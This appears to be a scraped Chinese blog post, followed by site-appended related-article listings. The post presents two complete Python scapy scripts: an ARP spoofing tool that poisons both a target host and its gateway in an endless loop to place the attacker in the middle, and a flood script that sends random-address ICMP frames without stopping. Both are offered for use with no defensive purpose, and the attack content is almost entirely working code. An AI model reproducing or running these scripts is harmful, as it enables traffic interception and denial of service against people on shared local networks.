----------------------------------------看到上面的代码,你笑了吗?--------------------------------------------------------------------------------------------

好了,不胡闹了。

正点来了:

#!/usr/bin/python3

# -*- coding: utf-8 -*-

'''

ARP 攻击脚本

'''

import argparse

import threading

import time

from scapy.all import ARP, Ether, get_if_hwaddr, sendp

from scapy.layers.l2 import getmacbyip

# 注意这里面的几个方法

# Ether用来构建以太网数据包

# ARP是构建ARP数据包的类

# sendp方法在第二层发送数据包

# getmacbyip方法用于通过ip获取mac地址

# get_if_hwaddr方法获取指定网卡的mac地址

def get_mac(tgt_ip):

'''

调用scapy的getmacbyip函数,获取攻击目标IP的MAC地址。

'''

tgt_mac = getmacbyip(tgt_ip)

if tgt_mac is not None:

return tgt_mac

else:

print("无法获取IP为:%s 主机的MAC地址,请检查目标IP是否存活"%tgt_ip)

def create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip):

'''

生成ARP数据包,伪造网关欺骗目标计算机

src_mac:本机的MAC地址,充当中间人

tgt_mac:目标计算机的MAC

gateway_ip:网关的IP,将发往网关的数据指向本机(中间人),形成ARP攻击

tgt_ip:目标计算机的IP

op=is-at,表示ARP响应

'''

eth = Ether(src=src_mac, dst=tgt_mac)

arp = ARP(hwsrc=src_mac, psrc=gateway_ip, hwdst=tgt_mac, pdst=tgt_ip, op="is-at")

pkt = eth / arp

return pkt

def create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip):

'''

生成ARP数据包,伪造目标计算机欺骗网关

src_mac:本机的MAC地址,充当中间人

gateway_mac:网关的MAC

tgt_ip:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击

gateway_ip:网关的IP

op=is-at,表示ARP响应

'''

eth = Ether(src=src_mac, dst=gateway_mac)

arp = ARP(hwsrc=src_mac, psrc=tgt_ip, hwdst=gateway_mac, pdst=gateway_ip, op="is-at")

pkt = eth / arp

return pkt

def main():

"""

主方法

"""

description = "ARP攻击脚本"

parser = argparse.ArgumentParser(description=description)

parser.add_argument('-sm', dest='srcmac', type=str, help='发送源计算机的MAC,如果不提供,默认将采用本机的MAC地址')

parser.add_argument('-t', dest='targetip', type=str, help='指定目标计算机IP', required=True)

parser.add_argument('-tm', dest='targetmac', type=str, help='指定目标计算机MAC,如果不提供,默认将根据其IP获取MAC地址')

parser.add_argument('-g', dest='gatewayip', type=str, help='指定网关IP', required=True)

parser.add_argument('-gm', dest='gatewaymac', type=str, help='指定网关MAC,如果不提供,默认将根据其IP获取MAC地址')

parser.add_argument('-i', dest='interface', type=str, help='指定使用的网卡', required=True)

parser.add_argument('-a', dest='allarp', action='store_true', help='是否进行全网arp欺骗')

args = parser.parse_args()

tgt_ip = args.targetip

gateway_ip = args.gatewayip

interface = args.interface

srcmac = args.srcmac

targetmac = args.targetmac

gatewaymac = args.gatewaymac

if tgt_ip is None or gateway_ip is None or interface is None:

print(parser.print_help())

exit(0)

src_mac = srcmac

if src_mac is None:

src_mac = get_if_hwaddr(interface)

print('本机MAC地址是:', src_mac)

print("目标计算机IP地址是:", tgt_ip)

tgt_mac = targetmac

if tgt_mac is None:

tgt_mac = get_mac(tgt_ip)

print("目标计算机MAC地址是:", tgt_mac)

print("网关IP地址是:", gateway_ip)

gateway_mac = gatewaymac

if gateway_mac is None:

gateway_mac = get_mac(gateway_ip)

print("网关MAC地址是:", gateway_mac)

input('按任意键继续:')

pkt_station = create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip)

pkt_gateway = create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip)

# 如果不展示发送情况的话下面的语句可以更加简便直接用sendp方法提供的功能循环发送即可,不需要多线程和死循环。

# sendp(pkt_station, inter=1, loop=1)

# sendp(pkt_gateway, inter=1, loop=1)

i = 1

while True:

t = threading.Thread(

target=sendp,

args=(pkt_station,),

kwargs={'inter':1, 'iface':interface}

)

t.start()

t.join()

print(str(i) + "

发送一个计算机ARP欺骗包")

s = threading.Thread(

target=sendp,

args=(pkt_gateway,),

kwargs={'inter':1, 'iface':interface}

)

s.start()

s.join()

print(str(i) + "

发送一个网关ARP欺骗包")

i += 1

time.sleep(1)

if __name__ == '__main__':

main()

———————————————————————————无耻分界线———————————————————————

最后,给大家来段洪水攻击————代码啦

#!/usr/bin/python

import sys

from scapy.all import *

import time

iface="eth0"

if len(sys.argv)>=1:

iface=sys.argv[1]

while True:

packet= Ether(src=RandMAC("*:*:*:*:*:*"),

dst=RandMAC("*:*:*:*:*:*")) / \

IP(src=RandIP("*.*.*.*"),

dst=RandIP("*.*.*.*")) / \

ICMP()

time.sleep(0.5)

sendp(packet,iface=iface,loop=0)

arp攻击 python_python之arp攻击相关推荐

  1. 解析中间人攻击(1/4)---ARP缓存中毒

    本系列将讨论最常被使用的中间人攻击形式,包括ARP缓存中毒攻击(ARP Cache Poisoning).DNS欺骗(DNS Spoofing).HTTP会话劫持等. 导言 用于攻击个人以及企业的最常 ...

  2. python发送arp报文_python发送arp欺骗攻击代码分析

    代码如下: # -*- coding: cp936 -*- from scapy.all import * from threading import Thread,Lock,activeCount ...

  3. 局域网arp攻击_图解ARP协议(三)ARP防御篇-如何揪出“内鬼”并“优雅的还手”...

    一.ARP防御概述 通过之前的文章,我们已经了解了ARP攻击的危害,黑客采用ARP软件进行扫描并发送欺骗应答,同处一个局域网的普通用户就可能遭受断网攻击.流量被限.账号被窃的危险.由于攻击门槛非常低, ...

  4. ARP-attrack ARP内网毒化/欺骗攻击

    文章目录 ARP-ATTACK 原理 ARP 介绍 要素/媒介 工作原理 RARP ARP欺骗 实战分析 环境 断网攻击过程 欺骗攻击过程 毒化欺骗监听图片访问 其他 ARP攻击基础代码实现 如何防治 ...

  5. 网络-ARP协议详解与ARP欺骗(中毒)攻击实战

    目录 简介 ARP报文 ARP流程 四种情况 ARP请求 ARP响应 ARP攻击原理 实战 ARP欺骗 环境 查看arp表 更新攻击机软件 使用ettercap进行攻击 查看劫持到的图片 ARP攻击防 ...

  6. ARP工作原理以及ARP欺骗、中间人攻击

    目录 什么是ARP?ARP的作用是什么? ARP的工作原理? ARP欺骗? ARP欺骗.中间人攻击实验? 什么是ARP?ARP的作用是什么? ARP即地址解析协议,属于网络层,作用是根据已知的IP地址 ...

  7. ARP攻击以及伪造ARP响应 实操

    ARP攻击原理 一般情况,arp攻击得到主要目的是使网络无法正常通信,主要包括一下两种行为. 1.攻击主机制造假的arp应答,并发送给局域网中除被攻击之外的所有主机.arp应答中包含被 攻击主机的IP ...

  8. gratuitous arp和普通arp报文格式区别_ARP攻击和防御

    前言 在看这篇文章之前,请大家先看下交换机的工作原理,不知大家有没有想过数据链路层中头部协议数据帧的目的MAC地址是如何获取的呢?这就是今天的主角ARP协议,通过广播来获取IP地址对应的MAC地址. ...

  9. TCP/IP攻击实验(ARP,ICMP,SYN,RST,TCP会话劫持)

    一.实验背景 由于TCP/IP协议是Internet的基础协议,从开始设计的时候并没有考虑到现在网络上如此多的威胁,由此导致了许多形形色色的攻击方法,一般如果是针对协议原理的攻击,尤其DDOS,我们将 ...

最新文章

  1. python和idl_有前辈对比过IDL和Python的速度吗,哪个会快点?
  2. 5G NGC — AUSF 鉴权服务功能
  3. aspose.cells html excel导出,C#使用Aspose.Cells导出Excel简单实现
  4. JavaScript实现prim普里姆算法(附完整源码)
  5. vue+node实现中间层同步调用接口
  6. ffmpeg和SDL学习笔记
  7. MFC空间几何变换之图像平移、镜像、旋转、缩放
  8. Dede 删除文档同时文章中的图片的方法
  9. TTYL的完整形式是什么?
  10. DENIED Redis is running in protected mode because protected mode is enabled
  11. 华为Mate 30 Lite曝光:搭载麒麟810+20W快充
  12. 适合千万数据查询分页操作的一个通用存储过程
  13. batocera游戏整合包_安装游戏时电脑报错?提示XXX文件缺失?一个软件完美解决...
  14. 解密利用梦网漏洞狂刷QQ币方法附工具
  15. EDG夺冠刷屏背后,是正在发力的B站直播
  16. 你还在被触摸事件困扰吗?看看这篇吧
  17. php ziparchive 损坏,通过ZipArchive php获取损坏或空拉链
  18. 关于JVM中Eden区、Survivor from区和Survivor to区的理解
  19. 什么才是真正的云主机?辨别真假云主机
  20. 绘制cox生存分析结果的森林图

热门文章

  1. 1 计算机组成原理第一章 计算机系统概述 计算机发展历程、层次结构、性能指标
  2. 16 操作系统第四章 文件管理 文件的基本操作 文件共享 文件保护 文件系统的层次结构
  3. 12 操作系统第三章 内存管理 非连续分配管理方式 基本分页存储管理 基本分段存储管理 段页式存储管理
  4. WCF系列(一)BasicHttpBinding 和 WsHttpBinding 的不同点
  5. python3 应用 nose_parameterized 实现unittest 参数化
  6. 关于TCP/IP协议及网络通信相关问题
  7. 前端开发神器 vscode 常用快捷键
  8. lvalue-xvalue-prvalue
  9. [Mac]Python 安装MySQLdb模块
  10. OSI、TCP/IP or Five-layer(Protocols Use) Model